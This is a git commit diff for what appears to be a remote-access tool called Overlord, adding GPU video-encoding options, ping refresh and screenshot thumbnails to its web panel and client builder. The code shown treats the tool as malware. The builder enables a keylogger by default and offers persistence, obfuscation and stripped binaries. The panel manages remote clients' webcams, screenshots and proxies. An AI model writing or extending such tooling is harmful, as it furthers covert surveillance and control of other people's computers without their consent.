AMF + NVENC control and support

This commit is contained in:
KingKDot
2026-07-11 14:55:26 -05:00
parent 62cd920936
commit 424ed348e3
31 changed files with 761 additions and 35 deletions
+10
View File
@@ -188,6 +188,8 @@ function setBuildField(field, value) {
garbleLiterals: 'input[name="garble-literals"]',
garbleTiny: 'input[name="garble-tiny"]',
disableCgo: 'input[name="disable-cgo"]',
enableNvenc: 'input[name="enable-nvenc"]',
enableAmf: 'input[name="enable-amf"]',
stripDebug: 'input[name="strip-debug"]',
noPrinting: 'input[name="no-printing"]',
enableWebrtc: 'input[name="enable-webrtc"]',
@@ -455,6 +457,8 @@ function collectFormSettings() {
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true,
enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true,
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
@@ -522,6 +526,8 @@ function applyFormSettings(settings) {
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc);
if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf);
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
@@ -1692,6 +1698,8 @@ form?.addEventListener("submit", async (e) => {
const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true;
const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true;
const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
const enablePersistence = form.querySelector(
'input[name="enable-persistence"]',
@@ -1739,6 +1747,8 @@ form?.addEventListener("submit", async (e) => {
disableMutex,
stripDebug,
disableCgo,
enableNvenc,
enableAmf,
obfuscate,
enablePersistence,
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
+32 -4
View File
@@ -346,6 +346,23 @@ export async function sendCommand(clientId, action) {
}
}
export async function pingClientNow(clientId) {
try {
const res = await fetch(`/api/clients/${clientId}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "ping", waitForResult: true }),
});
if (!res.ok) throw new Error(`ping failed ${res.status}`);
const result = await res.json().catch(() => ({}));
await loadWithOptions({ force: true, reorder: false });
return Boolean(result?.updated);
} catch (err) {
console.error("Failed to refresh ping:", err);
return false;
}
}
export async function fetchVoiceCapabilities(clientId) {
try {
const res = await fetch(`/api/clients/${clientId}/command`, {
@@ -375,15 +392,26 @@ export async function requestPreview(clientId) {
export async function requestThumbnail(clientId) {
try {
const res = await fetch(`/api/clients/${clientId}/thumbnail`, {
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/thumbnail`, {
method: "POST",
headers: { "x-overlord-thumbnail-source": "manual" },
});
if (res.ok) {
const data = await res.json();
if (data.ok) {
await loadWithOptions({ force: true });
setTimeout(() => loadWithOptions({ force: true }), 250);
setTimeout(() => loadWithOptions({ force: true }), 800);
if (data.updated && Number(data.version) > 0) {
const escapedId = typeof CSS !== "undefined" && CSS.escape ? CSS.escape(clientId) : clientId;
document.querySelectorAll(`[data-thumb-client="${escapedId}"]`).forEach((host) => {
const img = host.querySelector("img[data-thumb-img]");
if (!img) return;
const url = `/api/clients/${encodeURIComponent(clientId)}/thumbnail?v=${Number(data.version)}`;
host.dataset.thumbVersion = String(data.version);
img.dataset.thumbUrl = url;
img.src = url;
img.style.display = "block";
});
}
await loadWithOptions({ force: true, reorder: false });
return true;
}
}
+12 -2
View File
@@ -8,6 +8,7 @@ import {
renderCachedClients,
startAutoRefresh,
sendCommand,
pingClientNow,
requestPreview,
requestThumbnail,
markManualDisconnect,
@@ -1032,6 +1033,15 @@ document.querySelectorAll(".dashboard-menu").forEach((details) => {
let dashboardThumbnailLoader = null;
function refreshDashboardThumbnail(clientId) {
if (dashboardThumbnailLoader?.refreshNow(clientId)) {
return;
}
// The loader initializes asynchronously; preserve manual refreshes made
// before it is ready.
requestThumbnail(clientId);
}
async function isDashboardThumbnailEnabled() {
try {
const res = await fetch("/api/settings/thumbnails", { credentials: "include" });
@@ -1105,8 +1115,8 @@ function initializeRenderer() {
},
openModal,
requestPreview,
requestThumbnail,
pingClient: (id) => sendCommand(id, "ping"),
requestThumbnail: refreshDashboardThumbnail,
pingClient: pingClientNow,
onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"),
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
+4
View File
@@ -518,6 +518,10 @@ export function createRenderer({
const thumbImg = e.target.closest(".thumb-img");
if (thumbImg) {
if (card.dataset.online === "true") {
if (pingClient) pingClient(clientId);
requestThumbnail(clientId);
}
if (thumbImg.src) openModal(thumbImg.src);
return;
}
@@ -157,11 +157,14 @@ export class ThumbnailLoader {
}
refreshNow(clientId) {
let touched = false;
for (const rec of this.records.values()) {
if (clientId && rec.clientId !== clientId) continue;
rec.lastTriggerAt = 0;
touched = true;
}
this.tick();
return touched;
}
applyVersion(element, rec) {
+16
View File
@@ -679,6 +679,22 @@
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
<div class="flex flex-col">
<span><i class="fa-solid fa-microchip text-green-400 mr-2"></i>Include NVIDIA NVENC</span>
<span class="text-xs text-slate-500">Native NVIDIA H.264 acceleration for Windows CGO builds</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
<input type="checkbox" name="enable-amf" class="w-4 h-4" checked />
<div class="flex flex-col">
<span><i class="fa-solid fa-microchip text-red-400 mr-2"></i>Include AMD AMF</span>
<span class="text-xs text-slate-500">Native AMD H.264 acceleration for Windows CGO builds</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
<input type="checkbox" name="enable-winre" class="w-4 h-4" />
<div class="flex flex-col">
+2
View File
@@ -17,6 +17,8 @@ export type BuildConfig = {
disableMutex?: boolean;
stripDebug?: boolean;
disableCgo?: boolean;
enableNvenc?: boolean;
enableAmf?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethods?: string[];
+83 -13
View File
@@ -84,6 +84,8 @@ type BuildProcessConfig = {
disableMutex?: boolean;
stripDebug?: boolean;
disableCgo?: boolean;
enableNvenc?: boolean;
enableAmf?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethods?: string[];
@@ -398,22 +400,83 @@ function nvcodecHeaderPath(clientDir: string): string {
return path.join(clientDir, "third_party", "nvcodec", "nvEncodeAPI.h");
}
function ensureNVCodecHeaderForWindowsCgo(
function amfHeaderPath(clientDir: string): string {
return path.join(clientDir, "third_party", "amf", "include", "core", "Factory.h");
}
const AMF_REPOSITORY = "https://github.com/GPUOpen-LibrariesAndSDKs/AMF.git";
const AMF_REF = "v1.5.2";
let amfHeaderProvision: Promise<void> | null = null;
function copyDirectory(source: string, destination: string): void {
fs.mkdirSync(destination, { recursive: true });
for (const entry of fs.readdirSync(source, { withFileTypes: true })) {
const from = path.join(source, entry.name);
const to = path.join(destination, entry.name);
if (entry.isDirectory()) copyDirectory(from, to);
else if (entry.isFile()) fs.copyFileSync(from, to);
}
}
async function ensureAMFHeaders(
clientDir: string,
sendToStream: (data: any) => void,
): void {
const headerPath = nvcodecHeaderPath(clientDir);
if (fs.existsSync(headerPath)) {
sendToStream({
type: "output",
text: `Native NVENC header: ${headerPath}\n`,
level: "info",
): Promise<void> {
const headerPath = amfHeaderPath(clientDir);
if (fs.existsSync(headerPath)) return;
if (!amfHeaderProvision) {
amfHeaderProvision = (async () => {
const destination = path.join(clientDir, "third_party", "amf");
const temporary = path.join(clientDir, "third_party", `.amf-${process.pid}-${Date.now()}`);
sendToStream({
type: "output",
text: `AMD AMF headers are not cached; fetching ${AMF_REF}...\n`,
level: "info",
});
try {
fs.mkdirSync(path.dirname(destination), { recursive: true });
const clone = await $`git clone --depth 1 --filter=blob:none --sparse --branch ${AMF_REF} ${AMF_REPOSITORY} ${temporary}`.quiet().nothrow();
if (clone.exitCode !== 0) throw new Error(clone.stderr.toString().trim() || "git clone failed");
const sparse = await $`git -C ${temporary} sparse-checkout set --no-cone amf/public/include/ LICENSE.txt`.quiet().nothrow();
if (sparse.exitCode !== 0) throw new Error(sparse.stderr.toString().trim() || "git sparse-checkout failed");
fs.rmSync(destination, { recursive: true, force: true });
fs.mkdirSync(destination, { recursive: true });
copyDirectory(path.join(temporary, "amf", "public", "include"), path.join(destination, "include"));
fs.copyFileSync(path.join(temporary, "LICENSE.txt"), path.join(destination, "LICENSE.txt"));
} finally {
fs.rmSync(temporary, { recursive: true, force: true });
}
if (!fs.existsSync(headerPath)) throw new Error(`AMF header was not created at ${headerPath}`);
})().catch((error) => {
amfHeaderProvision = null;
throw error;
});
return;
}
throw new Error(
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
);
await amfHeaderProvision;
}
async function ensureNVCodecHeaderForWindowsCgo(
clientDir: string,
sendToStream: (data: any) => void,
enableNvenc: boolean,
enableAmf: boolean,
): Promise<void> {
if (enableNvenc) {
const headerPath = nvcodecHeaderPath(clientDir);
if (!fs.existsSync(headerPath)) {
throw new Error(
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
);
}
sendToStream({ type: "output", text: `Native NVENC header: ${headerPath}\n`, level: "info" });
}
if (enableAmf) {
await ensureAMFHeaders(clientDir, sendToStream);
const amfPath = amfHeaderPath(clientDir);
sendToStream({ type: "output", text: `Native AMD AMF headers: ${amfPath}\n`, level: "info" });
}
}
function writeSgnTextArtifact(
@@ -1056,7 +1119,12 @@ func runBoundFiles() {
}
if (effectiveOs === "windows" && env.CGO_ENABLED === "1") {
ensureNVCodecHeaderForWindowsCgo(clientDir, sendToStream);
await ensureNVCodecHeaderForWindowsCgo(
clientDir,
sendToStream,
config.enableNvenc !== false,
config.enableAmf !== false,
);
}
let ldflags = config.stripDebug !== false ? "-s -w -buildid=" : "";
@@ -1230,6 +1298,8 @@ func runBoundFiles() {
// Base tags: always present regardless of build pass
let baseTags: string[] = [];
if (config.enableNvenc === false) baseTags.push("no_nvenc");
if (config.enableAmf === false) baseTags.push("no_amf");
if (config.noPrinting) baseTags.push("noprint");
if (config.disableKeylogger) baseTags.push("nokeylogger");
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
@@ -169,6 +169,8 @@ export async function handleBuildRoutes(
solRpcEndpoints,
stripDebug,
disableCgo,
enableNvenc,
enableAmf,
obfuscate,
enablePersistence,
persistenceMethods,
@@ -478,6 +480,8 @@ export async function handleBuildRoutes(
disableMutex: safeDisableMutex,
stripDebug,
disableCgo,
enableNvenc: enableNvenc !== false,
enableAmf: enableAmf !== false,
obfuscate: !!obfuscate,
enablePersistence,
persistenceMethods: safePersistenceMethods,
@@ -48,6 +48,15 @@ export function dispatchPingBulk(target: ClientInfo, countValue: unknown): numbe
return count;
}
async function waitForManualPing(target: ClientInfo, sentAt: number, timeoutMs = 1500): Promise<boolean> {
const deadline = Date.now() + timeoutMs;
while (Date.now() < deadline) {
if ((target.lastPongAt ?? 0) >= sentAt && target.lastPingNonce === undefined) return true;
await new Promise((resolve) => setTimeout(resolve, 10));
}
return false;
}
export async function handleClientCommandRoute(
req: Request,
url: URL,
@@ -87,8 +96,13 @@ export async function handleClientCommandRoute(
let success = true;
if (action === "ping") {
sendPingRequest(target, target.ws, "manual", 0);
const sentAt = Date.now();
const sent = sendPingRequest(target, target.ws, "manual", 0);
metrics.recordCommand("ping");
if (body?.waitForResult === true) {
const updated = sent ? await waitForManualPing(target, sentAt) : false;
return Response.json({ ok: true, sent, updated, pingMs: target.pingMs ?? null }, { headers: deps.CORS_HEADERS });
}
} else if (action === "ping_bulk") {
const count = dispatchPingBulk(target, body?.count);
metrics.recordCommand("ping_bulk");
@@ -61,6 +61,18 @@ type ClientRouteDeps = {
broadcastNotificationsCleared: (clientId: string) => void;
};
function mergeLiveClientState(result: any) {
return {
...result,
items: (result.items || []).map((item: any) => {
const live = clientManager.getClient(item.id);
return live
? { ...item, online: true, lastSeen: live.lastSeen, pingMs: live.pingMs ?? item.pingMs }
: item;
}),
};
}
export async function handleClientRoutes(
req: Request,
url: URL,
@@ -115,12 +127,12 @@ export async function handleClientRoutes(
if (user.role === "admin") {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
return Response.json(result, { headers: deps.CORS_HEADERS });
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
}
if (user.role === "operator" && isEnrollmentRequest) {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
return Response.json(result, { headers: deps.CORS_HEADERS });
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
}
const scope = getUserClientAccessScope(user.userId);
@@ -132,7 +144,7 @@ export async function handleClientRoutes(
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
return Response.json(result, { headers: deps.CORS_HEADERS });
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
}
if (url.pathname === "/api/clients/countries") {
@@ -287,9 +299,7 @@ export async function handleClientRoutes(
metrics.recordCommand("screenshot");
}
const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
if (fresh) {
await new Promise((r) => setTimeout(r, 300));
} else {
if (!fresh) {
await requestThumbnailRegen(clientId);
}
clearThumbnailRequest(clientId);
@@ -17,7 +17,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping }
import * as sessionManager from "../../sessions/sessionManager";
import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult } from "../../wsHandlers";
import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
@@ -789,6 +789,7 @@ export async function handleWebSocketMessage(
}
break;
case "screenshot_result":
handleScreenshotThumbnailResult(client, payload);
deps.handleNotificationScreenshotResult(client.id, payload);
break;
case "console_output":
+25
View File
@@ -247,6 +247,31 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
}
}
export function handleScreenshotThumbnailResult(info: ClientInfo, payload: any): boolean {
const requested = isThumbnailRequested(info.id);
if (!requested || payload?.error) return false;
let bytes: Uint8Array | null = null;
if (payload?.data instanceof Uint8Array) {
bytes = payload.data;
} else if (payload?.data instanceof ArrayBuffer) {
bytes = new Uint8Array(payload.data);
} else if (ArrayBuffer.isView(payload?.data)) {
bytes = new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength);
}
if (!bytes?.byteLength) return false;
const rawFormat = String(payload?.format || "jpeg").toLowerCase();
const format = rawFormat === "jpg" ? "jpeg" : rawFormat;
if (format !== "jpeg" && format !== "webp") return false;
setLatestFrame(info.id, bytes, format);
void requestThumbnailRegen(info.id).then((ok) => {
if (ok) notifyThumbnailGenerated(info.id);
});
return true;
}
export function handleFrame(info: ClientInfo, payload: any): boolean {
const bytes = payload.data as unknown as Uint8Array;
const header = (payload as any).header;